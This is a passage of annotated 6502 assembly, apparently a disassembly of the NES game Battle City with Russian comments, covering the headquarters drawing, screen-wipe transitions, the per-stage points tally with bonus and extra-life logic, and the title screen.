LDA #>DestroyedHQ_TSA_Line1
STA HighPtr_Byte
LDA #<DestroyedHQ_TSA_Line1
STA LowPtr_Byte
LDX #$E
LDY #$1A
JSR String_to_Screen_Buffer
LDA #>DestroyedHQ_TSA_Line2
STA HighPtr_Byte
LDA #<DestroyedHQ_TSA_Line2
STA LowPtr_Byte
LDX #$E
LDY #$1B
JSR String_to_Screen_Buffer
RTS
; End of function Draw_Destroyed_HQ
; ███████████████ S U B R O U T I N E ███████████████████████████████████████
;! Рисует штаб после взятия врагом лопаты
Draw_ShovelHQ:
LDA #>Shovel_HQ_TSA_Line1
STA HighPtr_Byte
LDA #<Shovel_HQ_TSA_Line1
STA LowPtr_Byte
LDX #$C
LDY #$18
JSR String_to_Screen_Buffer
LDA #>Shovel_HQ_TSA_Line2
STA HighPtr_Byte
LDA #<Shovel_HQ_TSA_Line2
STA LowPtr_Byte
LDX #$C
LDY #$19
JSR String_to_Screen_Buffer
LDA #>Shovel_HQ_TSA_Line3
STA HighPtr_Byte
LDA #<Shovel_HQ_TSA_Line3
STA LowPtr_Byte
LDX #$C
LDY #$1A
JSR String_to_Screen_Buffer
LDA #>Shovel_HQ_TSA_Line4
STA HighPtr_Byte
LDA #<Shovel_HQ_TSA_Line4
STA LowPtr_Byte
LDX #$C
LDY #$1B
JSR String_to_Screen_Buffer
LDX ScrBuffer_Pos ; Выводим бронированый штаб через строковый буффер
RTS
; End of function Draw_ShovelHQ
; ███████████████ S U B R O U T I N E ███████████████████████████████████████
Copy_AttribToScrnBuff: ; CODE XREF: ROM:C1E9p
LDY #0
;Процедура копирует атрибуты из NTBuffer в ScreenBuffer, переводя в соответствующий фромат
LDA #$23 ; '#'
STA HighPtr_Byte
LDA #$C0 ; '└'
STA LowPtr_Byte ; Запись будет вестись в область атрибутов верхней NT
-: ; CODE XREF: Copy_AttribToScrnBuff+32j
JSR NMI_Wait ; Ожидает немаскируемого прерывания
LDX ScrBuffer_Pos
LDA HighPtr_Byte
STA Screen_Buffer,X
INX
LDA LowPtr_Byte
STA Screen_Buffer,X ; Сначала сохраняем в буффер строк адрес PPU,
; куда будет вестить запись
INX
LDA NT_Buffer+$3C0,Y
INY
STA Screen_Buffer,X
INX
LDA #$FF
STA Screen_Buffer,X ; Сохраняем каждый байт атрибута в виде строки
; в спрайтовый буффер
INX
STX ScrBuffer_Pos
LDA #1
JSR Inc_Ptr_on_A
CPY #$40 ; '@' ; Количество байт в таблице атрибутов
BNE -
RTS
; End of function Copy_AttribToScrnBuff
; ███████████████ S U B R O U T I N E ███████████████████████████████████████
; Заполняет один ряд тайлов Iterative_Byte'ом
FillScr_Single_Row: ; CODE XREF: FillNT_with_Grey+Dp
; FillNT_with_Grey+16p
; FillNT_with_Black+Dp
; FillNT_with_Black+16p
LDX #0
JSR CoordTo_PPUaddress
STA HighPtr_Byte
STY LowPtr_Byte
LDX ScrBuffer_Pos
LDA HighPtr_Byte
CLC
ADC #$1C
STA Screen_Buffer,X
INX
LDA LowPtr_Byte
STA Screen_Buffer,X
INX
LDY #0
-: ; CODE XREF: FillScr_Single_Row+29j
LDA Iterative_Byte ; Байт, заполняющий большие массивы данных
BNE +
LDA (LowPtr_Byte),Y
+: ; CODE XREF: FillScr_Single_Row+1Ej
STA Screen_Buffer,X
INX
INY
CPY #$20 ; ' '
BNE -
LDA #$FF
STA Screen_Buffer,X
INX
STX ScrBuffer_Pos
RTS
; End of function FillScr_Single_Row
; ███████████████ S U B R O U T I N E ███████████████████████████████████████
; создаёт эффект сходящихся вертикальных створок
FillNT_with_Grey: ; CODE XREF: ROM:C16Fp
LDA #$11
STA Iterative_Byte ; Пустой серый тайл
LDA #0
STA Block_Y ; Начинаем заполнять экран с начала
-: ; CODE XREF: FillNT_with_Grey+1Fj
JSR NMI_Wait ; Задержка до отрисовки экрана: благодаря ей, игрок
; успевает увидеть процесс заполнения экрана.
LDY Block_Y
JSR FillScr_Single_Row ; Заполняет один ряд тайлов Iterative_Byte'ом
LDA #$1D ; Экран 240 пикселей (или $1E тайлов) в высоту
SEC
SBC Block_Y ; Заполняем экран по одному ряду тайлов сверху и снизу,
; создавая эффект сходящихся вертикальных створок
TAY
JSR FillScr_Single_Row ; Заполняет один ряд тайлов Iterative_Byte'ом
INC Block_Y
LDA Block_Y
CMP #$10 ; $10 проходов заполняют $20 рядов тайлов
; или $400 байт (т.е. и атрибуты тайловых карт тоже)
BNE - ; Задержка до отрисовки экрана: благодаря ей, игрок
; успевает увидеть процесс заполнения экрана.
RTS
; End of function FillNT_with_Grey
; ███████████████ S U B R O U T I N E ███████████████████████████████████████
; Создаёт эффект расходящихся вертикальных створок
FillNT_with_Black: ; CODE XREF: ROM:C1ECp
LDA #0
STA Iterative_Byte ; Пустой чёрный тайл
LDA #$F
STA Block_Y ; Начинаем заполнять экран с середины (от надписи 'STAGE XX')
-: ; CODE XREF: FillNT_with_Black+1Fj
JSR NMI_Wait ; Задержка до отрисовки экрана: благодаря ей, игрок
; успевает увидеть процесс заполнения экрана.
LDY Block_Y
JSR FillScr_Single_Row ; Заполняет один ряд тайлов Iterative_Byte'ом
LDA #$1D ; Экран 240 пикселей (или $1E тайлов) в высоту
SEC
SBC Block_Y ; Заполняем экран по одному ряду тайлов сверху и снизу,
; создавая эффект расходящихся вертикальных створок
TAY
JSR FillScr_Single_Row ; Заполняет один ряд тайлов Iterative_Byte'ом
DEC Block_Y
LDA Block_Y
CMP #$FF ; Доходим до конца экрана
BNE - ; Задержка до отрисовки экрана: благодаря ей, игрок
; успевает увидеть процесс заполнения экрана.
RTS
; End of function FillNT_with_Black
; ███████████████ S U B R O U T I N E ███████████████████████████████████████
Draw_Pts_Screen: ; CODE XREF: ROM:C256p
JSR Draw_Pts_Screen_Template ; Рисует общий для всех уровней экран очков
LDX #$1E
JSR DrawTankColumn_XTimes ; Рисует колонку из 4-х вражеских танков X раз (задержка в Х фреймов)
LDA Enmy_KlledBy1P_Count
CLC
ADC Enmy_KlledBy1P_Count+1
CLC
ADC Enmy_KlledBy1P_Count+2
CLC
ADC Enmy_KlledBy1P_Count+3
STA TotalEnmy_KilledBy1P
LDA Enmy_KlledBy2P_Count
CLC
ADC Enmy_KlledBy2P_Count+1
CLC
ADC Enmy_KlledBy2P_Count+2
CLC
ADC Enmy_KlledBy2P_Count+3
STA TotalEnmy_KilledBy2P ; Вычисляем общее количество очков
LDA #0
STA Counter
DrawPtsScrn_NxtTank: ; CODE XREF: Draw_Pts_Screen+11Dj
JSR NMI_Wait ; Ожидает немаскируемого прерывания
JSR Draw_Tank_Column ; Рисует колонку из 4-х вражеских танков
LDX #Temp_1PPts_String ; Строка при подсчете очков за текущий вид танка
JSR Null_8Bytes_String
LDX #Temp_2PPts_String
JSR Null_8Bytes_String
LDA #0
STA BrickChar_X
STA BrickChar_Y
DrawPtsScrn_NxtCount: ; CODE XREF: Draw_Pts_Screen+10Dj
JSR NMI_Wait ; Ожидает немаскируемого прерывания
JSR Draw_Tank_Column ; Рисует колонку из 4-х вражеских танков
LDA #0
STA EndCount_Flag ; Если 0, завершить подсчет очков для текущего врага
LDX Counter
LDA TankKill_Pts,X ; Количество очков за каждый тип убитого врага
JSR Num_To_NumString ; Переводит число из А в строку NumString
LDX Counter
LDA Enmy_KlledBy1P_Count,X
BEQ ++
LDA #1
STA Snd_PtsCount1
STA Snd_PtsCount2
DEC Enmy_KlledBy1P_Count,X
INC BrickChar_X
LDX #2
JSR Add_Score ; Прибавляет число из NumString к очкам игрока №Х
LDA #1
STA EndCount_Flag ; Если 0, завершить подсчет очков для текущего врага
JSR Add_Life ; Прибавляет одну жизнь, если игрок заработал 200К очков
++: ; CODE XREF: Draw_Pts_Screen+52j
LDX Counter
LDA Enmy_KlledBy2P_Count,X
BEQ +++
LDA #1
STA Snd_PtsCount1
STA Snd_PtsCount2
DEC Enmy_KlledBy2P_Count,X
INC BrickChar_Y
LDX #3
JSR Add_Score ; Прибавляет число из NumString к очкам игрока №Х
LDA #1
STA EndCount_Flag ; Если 0, завершить подсчет очков для текущего врага
JSR Add_Life ; Прибавляет одну жизнь, если игрок заработал 200К очков
+++: ; CODE XREF: Draw_Pts_Screen+70j
LDY #HiScore_1P_String+1
LDX #5
JSR PtrToNonzeroStrElem ; Установка указателя на ненулевой элемент строки
LDY #9
JSR Save_Str_To_ScrBuffer ; Сохраняет строку в строковый буффер
LDX #1
LDY #Temp_1PPts_String+1 ; Строка при подсчете очков за текущий вид танка
JSR PtrToNonzeroStrElem ; Установка указателя на ненулевой элемент строки
LDA Counter
ASL A
CLC
ADC Counter
CLC
ADC #$C
TAY
JSR Save_Str_To_ScrBuffer ; Сохраняет строку в строковый буффер
LDX Counter
LDA BrickChar_X
JSR ByteTo_Num_String
LDX #8
LDY #Num_String+1
JSR PtrToNonzeroStrElem ; Установка указателя на ненулевой элемент строки
LDA Counter
ASL A
CLC
ADC Counter
CLC
ADC #$C
TAY
JSR Save_Str_To_ScrBuffer ; Сохраняет строку в строковый буффер
LDA CursorPos
BEQ + ; Если игрок один, очки не выводим
LDY #HiScore_2P_String+1
LDX #$17
JSR PtrToNonzeroStrElem ; Установка указателя на ненулевой элемент строки
LDY #9
JSR Save_Str_To_ScrBuffer ; Сохраняет строку в строковый буффер
LDX #$13
LDY #Temp_2PPts_String+1
JSR PtrToNonzeroStrElem ; Установка указателя на ненулевой элемент строки
LDA Counter
ASL A
CLC
ADC Counter
CLC
ADC #$C
TAY
JSR Save_Str_To_ScrBuffer ; Сохраняет строку в строковый буффер
LDX Counter
LDA BrickChar_Y
JSR ByteTo_Num_String
LDX #$E
LDY #Num_String+1
JSR PtrToNonzeroStrElem ; Установка указателя на ненулевой элемент строки
LDA Counter
ASL A
CLC
ADC Counter
CLC
ADC #$C
TAY
JSR Save_Str_To_ScrBuffer ; Сохраняет строку в строковый буффер
+: ; CODE XREF: Draw_Pts_Screen+C7j
LDX #8
JSR DrawTankColumn_XTimes ; Рисует колонку из 4-х вражеских танков X раз (задержка в Х фреймов)
loc_CDDD: ; Если 0, завершить подсчет очков для текущего врага
LDA EndCount_Flag
BEQ ++++
JMP DrawPtsScrn_NxtCount
; ───────────────────────────────────────────────────────────────────────────
++++: ; CODE XREF: Draw_Pts_Screen+10Bj
INC Counter
LDA Counter
CMP #4 ; 4 типа танков
BEQ loc_CDF4
LDX #$14
JSR DrawTankColumn_XTimes ; Рисует колонку из 4-х вражеских танков X раз (задержка в Х фреймов)
JMP DrawPtsScrn_NxtTank
; ───────────────────────────────────────────────────────────────────────────
loc_CDF4: ; CODE XREF: Draw_Pts_Screen+116j
LDX #$1E
JSR DrawTankColumn_XTimes ; Рисует колонку из 4-х вражеских танков X раз (задержка в Х фреймов)
LDA TotalEnmy_KilledBy1P
JSR ByteTo_Num_String
LDY #Num_String+1
LDX #8
JSR PtrToNonzeroStrElem ; Установка указателя на ненулевой элемент строки
LDY #$17
JSR Save_Str_To_ScrBuffer ; Сохраняет строку в строковый буффер
LDA CursorPos
BEQ +++++
LDA TotalEnmy_KilledBy2P
JSR ByteTo_Num_String
LDY #Num_String+1
LDX #$E
JSR PtrToNonzeroStrElem ; Установка указателя на ненулевой элемент строки
LDY #$17
JSR Save_Str_To_ScrBuffer ; Сохраняет строку в строковый буффер
+++++: ; CODE XREF: Draw_Pts_Screen+138j
LDX #$F
JSR DrawTankColumn_XTimes ; Рисует колонку из 4-х вражеских танков X раз (задержка в Х фреймов)
;! Если победили босса, в любом случае рисуем бонус у одного из игроков даже если он играл один.
LDA Boss_Mode
BNE DrawPtsScrn_CheckHQ:
Skip_Boss_Bonus:
LDA CursorPos
BNE DrawPtsScrn_CheckHQ
JMP End_Draw_Pts_Screen
; ───────────────────────────────────────────────────────────────────────────
DrawPtsScrn_CheckHQ: ; CODE XREF: Draw_Pts_Screen+152j
LDA HQ_Status ; 80=штаб цел, если ноль то уничтожен
BNE DrawPtsScrn_CheckNum
JMP End_Draw_Pts_Screen
; ───────────────────────────────────────────────────────────────────────────
DrawPtsScrn_CheckNum: ; CODE XREF: Draw_Pts_Screen+159j
LDA TotalEnmy_KilledBy2P
CMP TotalEnmy_KilledBy1P
BCS DrawPtsScrn_CheckLives
Chk_Lives:
LDA Player1_Lives
BEQ DrawPtsScrn_CheckLives
LDA #0 ; Рисуем под IP слово BONUS! 1000PTS
; Если количество очков 1 игрока больше, и
; он остался жив
Draw_IP_Bonus:
JSR Num_To_NumString ; Переводит число из А в строку NumString
LDX #0
JSR Add_Score ; Прибавляет число из NumString к очкам игрока №Х
LDY #HiScore_1P_String+1
LDX #5
JSR PtrToNonzeroStrElem ; Установка указателя на ненулевой элемент строки
LDY #9
JSR Save_Str_To_ScrBuffer ; Сохраняет строку в строковый буффер
LDY #Num_String+1
LDX #1
JSR PtrToNonzeroStrElem ; Установка указателя на ненулевой элемент строки
LDY #$1A
JSR Save_Str_To_ScrBuffer ; Сохраняет строку в строковый буффер
LDA #>aBonus ; "BONUS\x15\xFF"
STA HighPtr_Byte
LDA #<aBonus ; "BONUS\x15\xFF"
STA LowPtr_Byte
LDX #3
LDY #$19
JSR String_to_Screen_Buffer
LDA #>aPts ; "PTS\xFF"
STA HighPtr_Byte
LDA #<aPts ; "PTS\xFF"
STA LowPtr_Byte
LDX #8
LDY #$1A
JSR String_to_Screen_Buffer
LDA #1
STA Snd_BonusPts
STA byte_31C
STA byte_31D
JSR Add_Life ; Прибавляет одну жизнь, если игрок заработал 200К очков
JMP End_Draw_Pts_Screen
; ───────────────────────────────────────────────────────────────────────────
DrawPtsScrn_CheckLives: ; CODE XREF: Draw_Pts_Screen+162j
; Draw_Pts_Screen+166j
LDA TotalEnmy_KilledBy1P
CMP TotalEnmy_KilledBy2P
BCS End_Draw_Pts_Screen
LDA Player2_Lives
BEQ End_Draw_Pts_Screen
LDA #0 ; Рисуем под IIP слово BONUS! 1000PTS
; Если количество очков 2 игрока больше, и
; он остался жив
JSR Num_To_NumString ; Переводит число из А в строку NumString
LDX #1
JSR Add_Score ; Прибавляет число из NumString к очкам игрока №Х
LDY #HiScore_2P_String+1
LDX #$17
JSR PtrToNonzeroStrElem ; Установка указателя на ненулевой элемент строки
LDY #9
JSR Save_Str_To_ScrBuffer ; Сохраняет строку в строковый буффер
LDY #Num_String+1
LDX #$14
JSR PtrToNonzeroStrElem ; Установка указателя на ненулевой элемент строки
LDY #$1A
JSR Save_Str_To_ScrBuffer ; Сохраняет строку в строковый буффер
LDA #>aBonus ; "BONUS\x15\xFF"
STA HighPtr_Byte
LDA #<aBonus ; "BONUS\x15\xFF"
STA LowPtr_Byte
LDX #$16
LDY #$19
JSR String_to_Screen_Buffer
LDA #>aPts ; "PTS\xFF"
STA HighPtr_Byte
LDA #<aPts ; "PTS\xFF"
STA LowPtr_Byte
LDX #$1B
LDY #$1A
JSR String_to_Screen_Buffer
LDA #1
STA Snd_BonusPts ; Играем музыку бонуса
STA byte_31C
STA byte_31D
JSR Add_Life ; Прибавляет одну жизнь, если игрок заработал 200К очков
End_Draw_Pts_Screen: ; CODE XREF: Draw_Pts_Screen+154j
; Draw_Pts_Screen+15Bj
; Draw_Pts_Screen+1B6j
; Draw_Pts_Screen+1BDj
; Draw_Pts_Screen+1C1j
LDX #Enmy_KlledBy2P_Count+1
JSR DrawTankColumn_XTimes ; Рисует колонку из 4-х вражеских танков X раз (задержка в Х фреймов)
LDA #0 ; Начало загрузки экрана выбора уровня
STA PPU_REG1_Stts
STA Char_Index_Base
STA byte_6B
LDA #0
STA BkgPal_Number
RTS
; End of function Draw_Pts_Screen
; ███████████████ S U B R O U T I N E ███████████████████████████████████████
; Рисует общий для всех уровней экран очков
Draw_Pts_Screen_Template: ; CODE XREF: Draw_Pts_Screenp
JSR NMI_Wait ; Ожидает немаскируемого прерывания
LDA #1
STA byte_6B
LDA #$24 ; '$'
STA PPU_Addr_Ptr
LDA #0
STA Scroll_Byte
LDA #10b
STA PPU_REG1_Stts
LDA #$30 ; '0'
STA Char_Index_Base ; Начало графики цифр
LDA #3
STA BkgPal_Number
JSR Screen_Off
JSR Null_NT_Buffer
JSR Fill_Attrib_Table ; Сохраняет определенные атрибуты в NT_Buffer
JSR Store_NT_Buffer_InVRAM ; Сбрасывает на экран содержимое NT_Buffer
JSR Set_PPU
LDA #>aHikscore ; k=тире
STA HighPtr_Byte
LDA #<aHikscore ; k=тире
STA LowPtr_Byte
LDX #8
LDY #3
JSR String_to_Screen_Buffer
LDY #HiScore_String+1
LDX #$12
JSR PtrToNonzeroStrElem ; Установка указателя на ненулевой элемент строки
LDY #3
JSR Save_Str_To_ScrBuffer ; Выводим Hi-score
LDA #>aStage ; "STAGE\xFF"
STA HighPtr_Byte
LDA #<aStage ; "STAGE\xFF"
STA LowPtr_Byte
LDX #$C
LDY #5
JSR String_to_Screen_Buffer
LDA Level_Number
JSR ByteTo_Num_String
LDY #Num_String+1
LDX #$E
JSR PtrToNonzeroStrElem ; Установка указателя на ненулевой элемент строки
LDY #5
JSR Save_Str_To_ScrBuffer ; Рисуем номер уровня
JSR NMI_Wait ; Ожидает немаскируемого прерывания
LDA #>aKplayer ; 'I-PLAYER'
STA HighPtr_Byte
LDA #<aKplayer ; 'I-PLAYER'
STA LowPtr_Byte
LDX #3
LDY #7
JSR String_to_Screen_Buffer
LDY #HiScore_1P_String+1
LDX #5
JSR PtrToNonzeroStrElem ; Установка указателя на ненулевой элемент строки
LDY #9
JSR Save_Str_To_ScrBuffer ; Рисуем очки первого игрока
LDA #>Arrow_Left
STA HighPtr_Byte
LDA #<Arrow_Left
STA LowPtr_Byte
LDX #$E
LDY #$C
JSR String_to_Screen_Buffer ; Рисуем стрелку влево 4 раза
LDA #>Arrow_Left
STA HighPtr_Byte
LDA #<Arrow_Left
STA LowPtr_Byte
LDX #$E
LDY #$F
JSR String_to_Screen_Buffer
LDA #>Arrow_Left
STA HighPtr_Byte
LDA #<Arrow_Left
STA LowPtr_Byte
LDX #$E
LDY #$12
JSR String_to_Screen_Buffer
LDA #>Arrow_Left
STA HighPtr_Byte
LDA #<Arrow_Left
STA LowPtr_Byte
LDX #$E
LDY #$15
JSR String_to_Screen_Buffer
LDA CursorPos
BEQ Skip_ScndPlayerDraw ; Если игрок один, стрелку вправо и II-Player не рисуем
JSR NMI_Wait ; Ожидает немаскируемого прерывания
LDA #>a_kplayer ; 'II-PLAYER'
STA HighPtr_Byte
LDA #<a_kplayer ; 'II-PLAYER'
STA LowPtr_Byte
LDX #$15
LDY #7
JSR String_to_Screen_Buffer
LDY #HiScore_2P_String+1
LDX #$17
JSR PtrToNonzeroStrElem ; Установка указателя на ненулевой элемент строки
LDY #9
JSR Save_Str_To_ScrBuffer ; Сохраняет строку в строковый буффер
LDA #>Arrow_Right ; Используются при подсчёте очков
STA HighPtr_Byte
LDA #<Arrow_Right ; Используются при подсчёте очков
STA LowPtr_Byte
LDX #$11
LDY #$C
JSR String_to_Screen_Buffer
LDA #>Arrow_Right ; Используются при подсчёте очков
STA HighPtr_Byte
LDA #<Arrow_Right ; Используются при подсчёте очков
STA LowPtr_Byte
LDX #$11
LDY #$F
JSR String_to_Screen_Buffer
LDA #>Arrow_Right ; Используются при подсчёте очков
STA HighPtr_Byte
LDA #<Arrow_Right ; Используются при подсчёте очков
STA LowPtr_Byte
LDX #$11
LDY #$12
JSR String_to_Screen_Buffer
LDA #>Arrow_Right ; Используются при подсчёте очков
STA HighPtr_Byte
LDA #<Arrow_Right ; Используются при подсчёте очков
STA LowPtr_Byte
LDX #$11
LDY #$15
JSR String_to_Screen_Buffer
Skip_ScndPlayerDraw: ; CODE XREF: Draw_Pts_Screen_Template+C1j
JSR NMI_Wait ; Рисуем PTS перед выводом очков за каждый вид танка
LDA #>aPts ; "PTS\xFF"
STA HighPtr_Byte
LDA #<aPts ; "PTS\xFF"
STA LowPtr_Byte
LDX #8
LDY #$C
JSR String_to_Screen_Buffer
LDA #>aPts ; "PTS\xFF"
STA HighPtr_Byte
LDA #<aPts ; "PTS\xFF"
STA LowPtr_Byte
LDX #8
LDY #$F
JSR String_to_Screen_Buffer
LDA #>aPts ; "PTS\xFF"
STA HighPtr_Byte
LDA #<aPts ; "PTS\xFF"
STA LowPtr_Byte
LDX #8
LDY #$12
JSR String_to_Screen_Buffer
LDA #>aPts ; "PTS\xFF"
STA HighPtr_Byte
LDA #<aPts ; "PTS\xFF"
STA LowPtr_Byte
LDX #8
LDY #$15
JSR String_to_Screen_Buffer
LDA CursorPos
BEQ Skip_ScndPlayerPtsDraw ; Если игрок один, PTS не рисуем
JSR NMI_Wait ; Ожидает немаскируемого прерывания
LDA #>aPts ; "PTS\xFF"
STA HighPtr_Byte
LDA #<aPts ; "PTS\xFF"
STA LowPtr_Byte
LDX #$1A
LDY #$C
JSR String_to_Screen_Buffer
LDA #>aPts ; "PTS\xFF"
STA HighPtr_Byte
LDA #<aPts ; "PTS\xFF"
STA LowPtr_Byte
LDX #$1A
LDY #$F
JSR String_to_Screen_Buffer
LDA #>aPts ; "PTS\xFF"
STA HighPtr_Byte
LDA #<aPts ; "PTS\xFF"
STA LowPtr_Byte
LDX #$1A
LDY #$12
JSR String_to_Screen_Buffer
LDA #>aPts ; "PTS\xFF"
STA HighPtr_Byte
LDA #<aPts ; "PTS\xFF"
STA LowPtr_Byte
LDX #$1A
LDY #$15
JSR String_to_Screen_Buffer
Skip_ScndPlayerPtsDraw: ; CODE XREF: Draw_Pts_Screen_Template+15Ej
JSR NMI_Wait ; Рисуем Total и линию
LDA #>aLine ; Полоска над 'TOTAL' при подсчёте очков
STA HighPtr_Byte
LDA #<aLine ; Полоска над 'TOTAL' при подсчёте очков
STA LowPtr_Byte
LDX #$C
LDY #$16
JSR String_to_Screen_Buffer
LDA #>aTotal ; "TOTAL\xFF"
STA HighPtr_Byte
LDA #<aTotal ; "TOTAL\xFF"
STA LowPtr_Byte
LDX #6
LDY #$17
JSR String_to_Screen_Buffer
RTS
; End of function Draw_Pts_Screen_Template
; ███████████████ S U B R O U T I N E ███████████████████████████████████████
; Рисует колонку из 4-х вражеских танков
Draw_Tank_Column: ; CODE XREF: Draw_Pts_Screen+29p
; Draw_Pts_Screen+3Fp
; DrawTankColumn_XTimes+5p
LDA #2
STA TSA_Pal ; Танки будут на спрайтовой палитре 2
LDY #$64 ; 'd' ; Будет меняться только Y и вид танка (начальный индекс тайла в Pattern Table)
LDA #$80 ; 'А' ; 1 вид танка врага
JSR Draw_Spr_InColumn ; Рисует 16х16 спрайт с фиксированной координатой Х
LDY #$7C ; '|'
LDA #$A0 ; 'а' ; 2 вид танка врага
JSR Draw_Spr_InColumn ; Рисует 16х16 спрайт с фиксированной координатой Х
LDY #$94 ; 'Ф'
LDA #$C0 ; '└' ; 3 вид танка врага
JSR Draw_Spr_InColumn ; Рисует 16х16 спрайт с фиксированной координатой Х
LDY #$AC ; 'м'
LDA #$E0 ; 'р' ; 4 вид танка врага
JSR Draw_Spr_InColumn ; Рисует 16х16 спрайт с фиксированной координатой Х
RTS
; End of function Draw_Tank_Column
; ███████████████ S U B R O U T I N E ███████████████████████████████████████
; Сохраняет определенные атрибуты в NT_Buffer
Fill_Attrib_Table: ; CODE XREF: Draw_Pts_Screen_Template+21p
LDA #$50 ; 'P'
STA NT_Buffer+$3C0
STA NT_Buffer+$3C1
STA NT_Buffer+$3C2
STA NT_Buffer+$3C3
STA NT_Buffer+$3C8
STA NT_Buffer+$3C9
STA NT_Buffer+$3CA
STA NT_Buffer+$3CD
STA NT_Buffer+$3CE
STA NT_Buffer+$3CF
LDA #$A0
STA NT_Buffer+$3C4
STA NT_Buffer+$3C5
STA NT_Buffer+$3C6
STA NT_Buffer+$3C7
LDA #$A
STA NT_Buffer+$3D0
STA NT_Buffer+$3D1
STA NT_Buffer+$3D2
STA NT_Buffer+$3D5
STA NT_Buffer+$3D6
STA NT_Buffer+$3D7
LDA #5
STA NT_Buffer+$3F0
STA NT_Buffer+$3F1
STA NT_Buffer+$3F2
STA NT_Buffer+$3F5
STA NT_Buffer+$3F6
STA NT_Buffer+$3F7
RTS
; End of function Fill_Attrib_Table
; ███████████████ S U B R O U T I N E ███████████████████████████████████████
; Рисует 16х16 спрайт с фиксированной координатой Х
Draw_Spr_InColumn: ; CODE XREF: Draw_Tank_Column+8p
; Draw_Tank_Column+Fp
; Draw_Tank_Column+16p
; Draw_Tank_Column+1Dp
STA Spr_TileIndex
LDX #$81
JSR Draw_WholeSpr ; Cбрасывает в спрайтовый буффер спрайт 16х16. (в Х, Y - координаты)
RTS
; End of function Draw_Spr_InColumn
; ███████████████ S U B R O U T I N E ███████████████████████████████████████
; Прибавляет одну жизнь, если игрок заработал 200К очков
Add_Life: ; CODE XREF: Draw_Pts_Screen+69p
; Draw_Pts_Screen+87p
; Draw_Pts_Screen+1B3p
; Draw_Pts_Screen+20Ep
; BulletToTank_Impact_Handle+11Bp
; Bonus_Handle+4Ep
LDA HQ_Status ; 80=штаб цел, если ноль то уничтожен
CMP #$80
BNE End_Add_Life ; Если штаб разрушен, не проверяем очки
LDA AddLife_Flag ; <>0 - игрок получал дополнительную жизнь
BNE +
LDA HiScore_1P_String+2
CMP #2
BCC +
INC Player1_Lives
INC AddLife_Flag ; <>0 - игрок получал дополнительную жизнь
JMP Play_SndAncillaryLife
; ───────────────────────────────────────────────────────────────────────────
+: ; CODE XREF: Add_Life+8j Add_Life+Ej
LDA CursorPos
BEQ End_Add_Life ; Если игрок один, не проверяем очки второго
LDA AddLife_Flag+1 ; <>0 - игрок получал дополнительную жизнь
BNE End_Add_Life
LDA HiScore_2P_String+2
CMP #2
BCC End_Add_Life
INC Player2_Lives
INC AddLife_Flag+1 ; <>0 - игрок получал дополнительную жизнь
Play_SndAncillaryLife: ; CODE XREF: Add_Life+14j
LDA #1
STA Snd_Ancillary_Life1 ; Проигрываем звук
STA Snd_Ancillary_Life2
End_Add_Life: ; CODE XREF: Add_Life+4j Add_Life+19j
; Add_Life+1Dj Add_Life+23j
RTS
; End of function Add_Life
; ███████████████ S U B R O U T I N E ███████████████████████████████████████
Null_Upper_NT: ; CODE XREF: BonusLevel_ButtonCheck:New_Scrollp
; BonusLevel_ButtonCheck+28p
JSR Screen_Off
LDA #3
STA BkgPal_Number
LDA #$1C
STA PPU_Addr_Ptr
JSR Null_NT_Buffer
JSR Store_NT_Buffer_InVRAM ; Сбрасывает на экран содержимое NT_Buffer
JSR Set_PPU
RTS
; End of function Null_Upper_NT
; ███████████████ S U B R O U T I N E ███████████████████████████████████████
Draw_TitleScreen: ; CODE XREF: ROM:BEGINp
JSR Screen_Off
LDA #$24 ; '$'
STA PPU_Addr_Ptr
JSR Null_NT_Buffer
LDX #$1A
STX Block_X
LDY #$1E ; '.'
STY Block_Y
LDA #>aBattle ; Загрузка указателя на string 'BATTLE'
STA HighStrPtr_Byte
LDA #<aBattle ; "BATTLE\xFF"
STA LowStrPtr_Byte
JSR Draw_BrickStr
LDX #$3C ; '<'
STX Block_X
LDY #$46 ; 'V'
STY Block_Y
LDA #>aCity: ; Загрузка указателя на string 'CITY'
STA HighStrPtr_Byte
LDA #<aCity: ; "CITY\xFF"
STA LowStrPtr_Byte
JSR Draw_BrickStr
JSR Store_NT_Buffer_InVRAM ; Сбрасывает на экран содержимое NT_Buffer
JSR Set_PPU
LDA #$30 ; Цифры в знакогенераторе начинаются по адресу $30 (не ASCII)
STA Char_Index_Base
LDA #>aK ; Загрузка указателя на string 'I-'
STA HighPtr_Byte
LDA #<aK ; Для экрана подсчёта очков: 'I-'
STA LowPtr_Byte
LDX #2 ; Координата X будущей надписи
LDY #3 ; Координата Y будущей надписи
JSR String_to_Screen_Buffer
LDY #$16
LDX #4
JSR PtrToNonzeroStrElem ; Установка указателя на ненулевой элемент строки
LDY #3
JSR Save_Str_To_ScrBuffer ; Сохраняет строку в строковый буффер
LDA #>aHik ; Загрузка указателя на string 'HI-'
STA HighPtr_Byte
LDA #<aHik ; HI-
STA LowPtr_Byte
LDX #$B
LDY #3
JSR String_to_Screen_Buffer
LDY #$3E ; '>'
LDX #$E
JSR PtrToNonzeroStrElem ; Установка указателя на ненулевой элемент строки
LDY #3
JSR Save_Str_To_ScrBuffer ; Сохраняет строку в строковый буффер
LDA CursorPos
BEQ +
LDA #>a_k ; Если курсор на момент RESET не был на позиции 1 player,
; значит нужно отрисовать данные об очках второго игрока.
; (интересно, что это справедливо даже для construction)
STA HighPtr_Byte
LDA #<a_k ; Для экрана подсчёта очков: 'II-'
STA LowPtr_Byte
LDX #$15
LDY #3
JSR String_to_Screen_Buffer
LDY #$1E
LDX #$17
JSR PtrToNonzeroStrElem ; Установка указателя на ненулевой элемент строки
LDY #3
JSR Save_Str_To_ScrBuffer ; Сохраняет строку в строковый буффер
+: ; CODE XREF: Draw_TitleScreen+72j
LDA #0
STA Char_Index_Base
JSR NMI_Wait ; Рисуем нижнюю часть титульника:
;
LDA #>a1Player ; "1 PLAYER\xFF"
STA HighPtr_Byte
LDA #<a1Player ; "1 PLAYER\xFF"
STA LowPtr_Byte
LDX #$B
LDY #$11
JSR String_to_Screen_Buffer
LDA #>a2Players ; "2 PLAYERS\xFF"
STA HighPtr_Byte
LDA #<a2Players ; "2 PLAYERS\xFF"
STA LowPtr_Byte
LDX #$B
LDY #$13
JSR String_to_Screen_Buffer
LDA #>aConstruction ; "CONSTRUCTION\xFF"
STA HighPtr_Byte
LDA #<aConstruction ; "CONSTRUCTION\xFF"
STA LowPtr_Byte
LDX #$B
LDY #$15
JSR String_to_Screen_Buffer
JSR NMI_Wait ; Ожидает немаскируемого прерывания
LDA #>aMAP_MODE ; Часть тайловой карты для надписи NAMCOT
STA HighPtr_Byte
LDA #<aMAP_MODE ; Часть тайловой карты для надписи NAMCOT
